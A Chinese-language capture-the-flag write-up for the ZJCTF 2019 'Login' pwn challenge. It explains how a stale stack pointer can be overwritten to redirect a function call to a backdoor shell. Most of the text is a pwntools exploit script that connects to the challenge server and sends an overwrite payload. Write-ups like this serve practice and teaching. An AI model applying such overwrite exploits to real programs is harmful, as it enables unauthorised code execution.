【C++Pwn】[ZJCTF 2019]Login

Thursday, December 29, 2022
本文共834字
2分钟阅读时长

⚠️本文是作者P3troL1er原创,首发于https://peterliuzhi.top/writeup/c++pwnzjctf-2019login/。商业转载请联系作者获得授权,非商业转载请注明出处!

Our shared values define us more than our differences. And acknowledging those shared values can see us through our challenges today if we have the wisdom to trust in them again. — John McCain

原题链接

查看程序架构

文内图片

ida伪代码

文内图片

典型的C++语法,这里应该有两个类,Admin继承自User: 文内图片 其中我们发现Admin::shell正是我们需要的后门函数: 文内图片 那么我们只要想办法调用这个函数即可 整个程序有两个输入点: 文内图片 只要密码正确,程序就会调用v8指向的函数 文内图片 文内图片 而v8又是什么呢?v8的值是v3的指针,这里就有一个致命漏洞,v2是一个栈指针而不是.bss节的指针。所以如果返回main函数后再调用其他函数,就可能把这个地址覆盖掉 文内图片 文内图片 我们看看汇编代码这个栈指针在哪里 文内图片 看来这个v2在[rbp+var_18]处,而这个值,我们在read_password中是可以覆盖的 文内图片 文内图片

这样我们就可以将其覆盖为Admin::shell了

exp

# 自动生成头部
from pwn import *
from pwn import p64, p32, u32, u64, p8
from LibcSearcher import LibcSearcher
import ctypes

pss: bool = True
fn: str = "./login"
libc_name:str = ""
port: str = "25767"
if_32: bool = False
if_debug:bool = False
pg = p32 if if_32 else p64
ug = u32 if if_32 else u64
context(log_level="debug", arch="i386" if if_32 else "amd64", os="linux")
context.terminal = ["tmux", "splitw", "-h"]
env = {"LD_PRELOAD": libc_name}
if pss:
    p = remote("node4.buuoj.cn", port)
else:
    if if_debug:
        p = gdb.debug(fn, """
                        break main
                        c
                        """)
    else:
        p = process(fn)
# 两个elf,注意libc的版本
m_elf = ELF(fn)
# libc = ELF(libc_name)

def suclog(**kwargs):
    for k, v in kwargs.items():
        if isinstance(v, int):
            success(f"{k} => {hex(v)}")
        else:
            success(f"{k} => {v}")
    
def send_after_clean(content: bytes = b"", until: bytes = None,\
                     timeout: float = 0.05, no_show: bool = False) -> bytes:
    if until is not None:
        p.recvuntil(flat(until))
    received = p.clean(timeout)
    if not no_show:
        info(f"received:\n{received.decode('UTF-8')}")
    p.send(flat(content))
    return received


def sendline_after_clean(content: bytes = b"", until: bytes = None,\
                         timeout: float = 0.05, no_show: bool = False) -> bytes:
    send_after_clean([content, p.newline], until, timeout, no_show)
    
def interactive_after_clean(timeout:int = 0.05, no_show: bool = False):
    received = p.clean(timeout)
    if not no_show:
        info(f"received:\n{received.decode('UTF-8')}")
    p.interactive()

def c_val(value: int, c_type: string) -> bytes:
    type_dict = {
        "long": ctypes.c_long,
        "longlong": ctypes.c_longlong,
        "ulong": ctypes.c_ulong,
        "ulonglong": ctypes.c_ulonglong,
        "int8": ctypes.c_int8,
        "int16": ctypes.c_int16,
        "int32": ctypes.c_int32,
        "int64": ctypes.c_int64,
        "uint8": ctypes.c_uint8,
        "uint16": ctypes.c_uint16,
        "uint32": ctypes.c_uint32,
        "uint64": ctypes.c_uint64,
        "int": ctypes.c_int,
        "char": ctypes.c_char,
        "bool": ctypes.c_bool,
        "float": ctypes.c_float,
        "double": ctypes.c_double,
        "ushort": ctypes.c_ushort,
        "byte": ctypes.c_byte,
        "longdouble": ctypes.c_longdouble,
        "size_t": ctypes.c_size_t,
        "ssize_t": ctypes.c_ssize_t,
        "ubyte": ctypes.c_ubyte
    }
    try:
        return bytes(str(type_dict[c_type](value).value), encoding="UTF-8")
    except:
        try:
            return bytes(str(eval(f"ctypes.c_{c_type}(value).value")), encoding="UTF-8")
        except:
            error(f"无法转换{value}或不存在类型{c_type}")
        
def load_libc(libc_name: str, *args, **kwargs) -> ctypes.CDLL:
    return ctypes.CDLL(libc_name, args, kwargs)
    
def recv_and_transform(prev_string: str = None, from_bytes: bool = True,\
    is_canary: bool = False, bound: str = None) -> int:
    if prev_string is not None:
        p.recvuntil(flat(prev_string))
    if bound is not None:
        bound = flat(bound)
    if from_bytes:
        if bound is not None:
            return ug(p.recvuntil(bound)[:-len(bound)])
        if if_32:
            return ug(p.recv(4))
        else:
            if is_canary:
                return ug(p.recv(7).rjust(8, b"\x00"))
            else:
                return ug(p.recv(6).ljust(8, b"\x00"))
    else:
        if bound is not None:
            return int(p.recvuntil(bound)[:-len(bound)], 16)
        else:
            if if_32:
                return int(p.recv(10), 16)
            else:
                if is_canary:
                    return int(p.recv(18), 16)
                else:
                    return int(p.recv(14), 16)
def formula_compute(formula: bytes, precise: bool = False):
    if isinstance(formula, bytes):
        formula = formula.decode("UTF-8")
    formula = formula.strip()
    formula = formula.strip("\n")
    formula = formula.replace("x", "*")
    formula = formula.replace("^", "**")
    formula = formula.replace("÷", "/")
    if not precise:
        formula = formula.replace("//", "/")
        formula = formula.replace("/", "//")
    return bytes(str(eval(formula)), encoding="UTF-8")
...

backdoor = 0x400E88
sendline_after_clean("admin")
payload = flat([
    "2jctf_pa5sw0rd".ljust(0x60-0x18, "\x00"),
    backdoor
])
sendline_after_clean(payload)
    
interactive_after_clean()